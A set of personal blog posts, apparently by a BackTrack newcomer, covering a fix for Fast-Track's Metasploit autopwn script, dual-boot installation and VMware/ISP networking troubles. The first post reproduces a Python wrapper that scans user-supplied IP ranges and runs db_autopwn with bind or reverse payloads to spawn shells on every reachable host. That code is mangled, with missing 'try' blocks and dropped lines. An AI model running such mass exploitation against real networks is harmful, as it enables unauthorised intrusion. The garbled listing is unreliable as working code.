Seems like there’ve been some minor changes in the MetaSploit Framework 3. One of the effects is that the the Autopwn Automation of FastTrack is not working. Running the script gives the following error:

msf > load db_sqlite3
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new ‘db_driver’
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-] Failed to load plugin from /opt/metasploit3/msf3/plugins/db_sqlite3: Deprecated plugin
msf > db_driver sqlite3
[*] Using database driver sqlite3

One solution is to open up the Msfconsole and type the commands manually. But that kind of defeats the purpose of having FastTrack installed (in a limited way of course:p ). Fortunately, the fix is very easy. All you need to do is to modify the autopwn file in /pentest/exploits/fasttrack/bin/ftsrc directory. First open the file in any text editor of your choice and look for this line in bold:

child1 = pexpect.spawn(‘%smsfconsole’ % (metapath))
# load sqlite3
child1.sendline (‘load db_sqlite3’)
# Destroy database
child1.sendline (‘db_destroy pentest’)
# Create database
child1.sendline (‘db_create pentest’)

Now replace db_sqlite3 with db_driver sqlite3 and save the file.
Everything will work fine.

Alternatively you can copy-paste the following text in a text editor and save the file as “” (minus quotes) in directory /pentest/exploits/fasttrack/bin/ftsrc . You’ll need root access to replace the already existing file.

#!/usr/bin/env python
import pexpect,sys,os,time
import psyco
except ImportError:
except IndexError:
Metasploit Autopwn Automation

This tool specifically piggy backs some commands from the Metasploit Framework and does
not modify the Metasploit Framework in anyway. This is simply to automate some tasks
from the autopwn feature already developed by the Metasploit crew.

Simple, enter the IP ranges like you would in NMap i.e. 192.168.1.-254 or
or whatever you want and it’ll run against those hosts. Additionally you can place NMAP
commands within the autopwn ip ranges bar, for example, if you want to scan even if a
host “appears down” just do -PN or whatever…you can use all NMap
syntaxes in the Autopwn IP Ranges portion.

When it has completed exploiting simply type this:

sessions -l (lists the shells spawned)
sessions -i (jumps you into the sessions)

Example 1: -PN
Example 2:
Example 3: -P0 -v -A
Example 4:

Enter the ip ranges to autopwn: “””)
if ipaddr == ‘quit’ or ipaddr == ‘q’:
print “nnExiting Fast-Track autopwn…nn”
# Spawn instance of msfconsole
except IndexError:
Do you want to do a bind or reverse payload?

Bind = direct connection to the server
Reverse = connection originates from server

1. Bind
2. Reverse

Enter number: “””)
if option1 == ‘quit’ or option1 == ‘q’:
print “nnExiting Fast-Track autopwn…nn”
if option1 == ‘1’: option1=’-b’
if option1 == ‘2’: option1=’-r’
print “Launching MSFConsole and prepping autopwn…”
metapath=file(“%s/bin/setup/metasploitconfig.file” % (definepath)).readlines()
for line in metapath:
except IOError:
print “Configuration file not detected, running default path.”
print “Recommend running install to configure Fast-Track.”
print “Setting default directory…”
# BT3
if os.path.isfile(“/pentest/exploits/framework3/msfconsole”):
# NUbuntu
if os.path.isfile(“/tools/exploits/framework*/msfconsole”):
if counter == ‘0’:
print “Metasploit not detected..Exiting..”

child1 = pexpect.spawn(‘%smsfconsole’ % (metapath))
# load sqlite3
child1.sendline (‘db_driver sqlite3’)
# Destroy database
child1.sendline (‘db_destroy pentest’)
# Create database
child1.sendline (‘db_create pentest’)
# run actual port scans
child1.sendline (”’db_nmap %s ”’ % (ipaddr))
# run actual exploitation
child1.sendline (‘db_autopwn -p -t -e %s’ % (option1))
child1.sendline (‘sleep 5’)
child1.sendline (‘jobs -K’)
child1.sendline (‘nnn’)
child1.sendline (‘sessions -l’)
child1.sendline (‘echo “If it states No sessions, then you were unsuccessful. Simply type sessions -i to jump into a shell”‘)
# jump to pid
except Exception: print “nExiting Fast-Track…n”

Using linux (BackTrack) is proving to be a real learning expereince. I always wanted to use Linux instead of Windows as my  primary OS. I tried shifting to linux many times in the past. tried using Xandros, Ubuntu, Red Hat and some more flavours. but couldnt get anything done with them. Not that they were particularly bad. Main reason was lack of a relable internet connection.
Nowadas with a good net connection, anytime am stuck with something I just search it on any search engine (Google mostly) and more often than not I have the solution within miniutes.
I was unable to do so earlier without internet.
Nowadays almost every Linux distro based on ny platform supports almost every hardware straight out of the box, but still many times you need to dowload some file  to make something work.
In my case, I havent been able to use my RTL8139 chpset NIC work :-|
Not that I particularly need it. Onboard card works well without a hitch..but still I’d like  it to work,. Just for the sake of challange


I’ve downloaded and successfully installed many good software,
list includes
VMware (server and player , both free)
Opera Browser
Some misc system software including Wine, sqlite3, postgres and many more.
Currently downloading OpenOffice. I hope it’ll install fine without  givingmuch trouble now
Finally learnt to use multiple desktop option.
Still some stuff proves o be quite difficult

Games for one. No windows game will work  here.
Sometimes, some games seem to  work with Wine, but they crash soon. Updating the software to a newer version was of  no help.

Then  tried installing Cedega, but waas put off by their ridiculous  5 Euro per month subscription fee. Thats too much to pay  in any case.
Then I tried installing the free version, Cedega CVS. After going through numerous guides, installing dozens of packages am still unable to run any game.

To top that, BackTrack lacks support for multi-channel sound.

Enquiring about these issues in BT forum gives response, “This is a pen-testing distro. Not meant for games, music etc” :|
Well., I can understand that, but even with a pen test distro, a person sometimes will really like to use it as his/her primary OS.  This point aparently escaped the notice of the BT people.
Not much use of complaiing. They’vce made and released this excellent OS for free afterall.

My windows installation still stays..for games only.  :

Finally managed to install BackTrack 3 on my PC today. it was really hard work..but did it somehow. Don’t know if this text  is going to make sense to anybody or are the details:

Configuration of my PC:

Intel Pentium 2.66Ghz
Asus P5RDVM Motherboard with X900 Chipset
XFX’s NVidia 6200TC Card
(But using 8400 currently)
One 100MB NIC on PCI slot (Motherboard has another onboard but its faulty.)
Western Digital 160GB SATA
Seagate 20GB PATA

4 Windows partitions on WD dsik with WIndows XP Pro installed on 1st partition

Now I wanted to install BT3 without messing up my XP installation. Still a newbie to Linux and can’t just migrate to Linux as yet.

I installed Acronis disk director and made 3 more partitions. One 1Gb for Linux swap , one 12GB ReiserFS for BT3 and made one 6GB empty space

I also installed Acronis boot loader, just to be safe
Now my previous attempts to successfuly make my PC dualbootable failed with BT. So I thought of installing Ubuntu Linux too. First I booted from an Ubuntu CD and installed it on HDD. In installation process I selected use the largest available free space.
It used that 6GB free space to install itself. After installation I rebooted the PC and was promptly greeted with a GRUB menu with booting options for both XP and Ubuntu.

Now its time for BT3.
Booted using Backtrack 3 DVD. Since I had already made partitions I didnt need to make new using fdiask command.
Just used “Install BT to HD ” option from its start menu.

The 12Gb ReiserFS partition was /dev/sda5. Used that for installing BT and /dev/sda for installing MBR. Used full install and unchecked “remove from MBR” option. It took like 10-15 minutes for install.

Rebooted and bumped into LILO boot loader of BT.

Ubuntu and Windows nowhere visible.


Booted into BT and logged in using default password.
type “liloconfig” and selected new LILO installatiion
In next menu selected Add Windows Installation and added /dev/sda1
For Ubuntu added /dev/sda8 and “dev/sda5” for BT 
Note that these sda will differ for different PCs. Could be hda if you have PATA disk or sda 1,2,3 etc may differ.

Saved and rebooted

This time I got Acronis boot loader menu
But with only 2 choices
One Windows XP and other Linux
Selected Linux and got LILO of BT3 . But this time with 3 options. Windows, Ubuntu and backTrack3
ALl working perfectly

Well except for one small part
can’t access net from both linux distros. Actually, can’t even ping my gateway. I have a Sify connection. An ethernet cable plugging directly to ethernet card. Then I have to run a cleint program to login using my username and password.
A friend of mine who has installed Slackware faces the same problem
But thats for another day.

Tomorrow I’m going to fix that






UBUNTU Download


Finally, I got Backtrack up in VMware witha wroking internet connection



Heres what happened. This is the stuff that I posted in BackTrack forums.

1st Post

MY PC config is

2.66GHz P-!V
nVidia 6200TC (64MB onboard + 64 MB shared RAM)
Onboard ULi PCI Fast Ethernet Controller
Onboard Soundmax HD Audio COntroller
2 Hard discs (Both IDE PATA, one 40GB (master with XP installed) 2nd =20GB)
2nd HDD contains BackTrack image and all related files
Sony DVD combo as 2ndry master

Windows XP SP2 (+all patches)
Avast Antivirus
Comodo Personal Firewall (+ Windows Firewall On too)
VMware Player
VMX Builder
VMware Diskmount

After many trials and errors including Microsoft Virtual PC, booting from CD, I finally managed to get Backtrack running using VMware Player and a VMX script downloaded from Irongeek

Now the only problem that I am facing that I cant connect to the internet/network.
I have a standalone PC with DSL connection that requires authentication on ISPs site. It works fine with windows.
But I cant seem to connect while running backtrack in VMware
I tried all the commands
ifconfig eth0 ipaddrs subnet
ifconfig eth0 up etc etc. listed in threads here
along with the IP address setting utility in BT.

At first I tried setting my IP , DNS and gateway etc to same as windows(ipconfig /all), then to other IP addresses in the subnet that were not occupied.
But I couldnt even ping the gateway. Though running ifconfig command showed some outbound packets, there were none inbound.

I tried modifying settings using vmnetcfg.exe utility in VMware player folder. modifying NAT for different interfaces,, setting DHCP same as my ISP etc etc.
Modifying VMware scripts to use modified interfaces.
Enabling/disabling different interfaces..NAT/DHCP/Bridge from VMware window have no effect either

Ping command runs well only for localhost
Also BT shows l0 as the listed ethernet interface

I’ve disabled my firewall too.

But still cant get it running.
I think I’m unable to configure vmnetcfg.exe utility properly..or is it something wrong with default config of BT that prevents network connections?

I’ve tried searching in VMware forums too without any success.
CAn anyone help me with this?
Sorry for this very long post. If am unclear somewhere, please tell me.


2nd Post

m using BT ver 2 and VMware ver2 Downloaded them fresh from the site

I cant use live CD. As soon as i get first boot prompt(unloading stuff), my screen goes black and stays that way. Using alt-ctrl- – doesnt work
May be it hates my graphics card or resolution is unsupported. Cant even get to login prompt

My monitor is a 15 inch Samtron. Max resolution supported is 1024×768 at 60Hz. I use it at 960×600 at 85Hz (max flickerfree) in windows,
While using VirtualPC, i couldnt use my mouse, and graphics were terrible.

Now for original query,
I have an ADSL modem with one ethernet interface. NAT is disabled.
I’ve tried setting my ip address as per one of the guides, using DHCPCD etc, but it didnt work. I cant even ping my gateway, that I set manually.
Am training for CCNA and so I have fair bit of idea about subnets etc. and am providing them correctly too.
Can anybody post me the link for proper usage of VMware ethernet adapters , VMX Builder and BackTrack ip config.
Theres nothing in help files either, and I could find only one tutorial about setting ip config in BackTack. But I suspect its more to do with VMware. But not sure .

3rd Post

This thread, additionally, I used GUI utility in BT too.
Also I read up linux commandline reference, nothing really special there too


I start it like this

First I boot into WIndowsXP. Connect to internet, as my DSL modem provides the PC with IP automatically. Only thing remains is to authenticate at the ISP’s site with my user id and password using a browser

Now I start VMware and load the modified vmx file that I got from irongeek site.
It all works fine till I get to connecting to internet.
Also I tried to make a “hard disk”
using VMX builder. Its same problem in both cases.
Can you point me to any step by step tutorial regarding ip configuration in Backtrack and VMware?

4th Post

Sorry to bother you again folks…but I just cant avoid it.

I’ve tried everything with VMware..that I could think of, editing various virtual network adapters, enabling disabling various settings etc etc.
But I can’t get my Backtrack session to connect to internet.
I tried using multiple ethernet cards (virtual) in BT too, but without any success

Then, I borrowed a friends laptop to run the Boot CD. Guess what, I got the same problem there. Bt boots up fine but still no internet connectivity
(CD wont run on my system, I just get a blank screen after boot: prompt)
So that leads me to think, theres some issue with my ISP.
Let me explain about my connection, all that I know

It uses a Chinese made UTStarcom ADSL router/modem
Connection is provided through a CAT cable with 4 pairs. Only one pair is used to provide internet connection. This company provides telephone service too. In some cases, telephone shares the same pair as internet service (uses a splitter then) while in other cases phone and internet service are both on different pairs.

It has LEDs for PPOE, WAN, LAN and Power

The IP is dynamic and ipconfig command shows a single DHCP server, 2 DNS servers.
Subnet mask is 21.

Connection speed is 75kbps (yeah yeah, I know its very lame, but thats what I can currently afford )
To start using the internet, I have to first put in my user id and password in the login page of the isp.
That page comes on by default everytime I try to open any site.. (what else?)

I’ve tried putting in IP address(same as well as different unoccupied address in subnet), gateway IP and DNS server address manually but I cant even ping the gateway even when the BT accepts the IP I provided.

I cannot login to my router/modem whatever( it says ADSL modem ). I just get a class A ip in range 123
I tried calling customer care, but they said that it isnt possble to change settings by logging in, either through browser or telnet.
This thing doesnt have NAT either
Ip shown in ipconfig command and external tools like site are same.

I tried running ppoe setup // command(from this forum), but that didnt help either. I see some data traffic outgoing /incoming, but thats all theres to it.
I havent installed it on HDD yet. Just using Laptop and more often VMX builder to play around with various settings on my PC.
Can anybody tell me about
E100 and
AMD Lance
settings in Network Adapter Type drop box in that? Does it have any influence?
Attached Images ifcon.jpg


5th Post

I finally managed to get DHCP service running and got ip address and everything.

Got it by trying a lots of stuff at once, resetting my modem using a small reset button, turning it on and off and running dhcpcd command with -h and -r switches
Now I have a working ip config.
But theres another hitch
I now get to login page of ISP, but on entering password, it says, Authentication Failed

Has it something to do with following excerpt
3.10.7. I have followed all the steps but still my machine is not able to connect

The cable modem will usually memorize the ethernet address of your network card so if you connect a new computer or switch network cards you will somehow have to “teach” your cable modem to recognize the new computer/card. Usually you can turn of the modem and bring it back up while computer is on or you will have to call tech support and tell them that you have changed a network card in the computer.

from this page
I had same problem when I tried to use laptop (XP). But resetting and switching the modem on and off fixed it.
BUt its not working here.
I’ve done it 2-4 times.

One tiny bit more..
whats with multiple keystroke?
It just keeps on typing even if I just touch the keys
Happens sometimes. Though quite often.
Is it a bug?

6th Post

Guess hwat??
I got it fixed and to think of it, there was never any problem with Vmware settings.
It was my frigging modem afterall. All I had to do to get internet working on BT was to release IP from windows. Then switch off the modem and wair for 2-3 minutes to get rid of the binding with MAC that ISPs do
Then switch on the modem and run dhcpcd command.
I was able to logion to my ISP then and off to work

Finally, leant something.

Should’ve thought of it long time ago. Had smae problem in lab when I was once training for managing Windows Domains

Quote:Originally Posted by Funnyman
I think the reason why LiveCD didn’t boot on your PC is something to do with your Graphic Card. Because BT and Auditor did boot on my Laptop but did on my PC. card is N’Vidia 6200 made by XFX.
Screen goes blank after first boot prompt.



Heres the link of BackTrack forums..of my post

Still no good help with BackTrack. One guy posted a video tutorial regarding setup in VMware. But that doesnt deal with the problem I’m having. I’ll give it another shot today though.

Sigh…why everything is so difficult :

A dangerous confession
A do or die confession
I wont leave you alone.

This song is the latest one that keeps ringing in my head.
Alone by Buckcherrys. Its the OST in MI2.

My lifes wasted.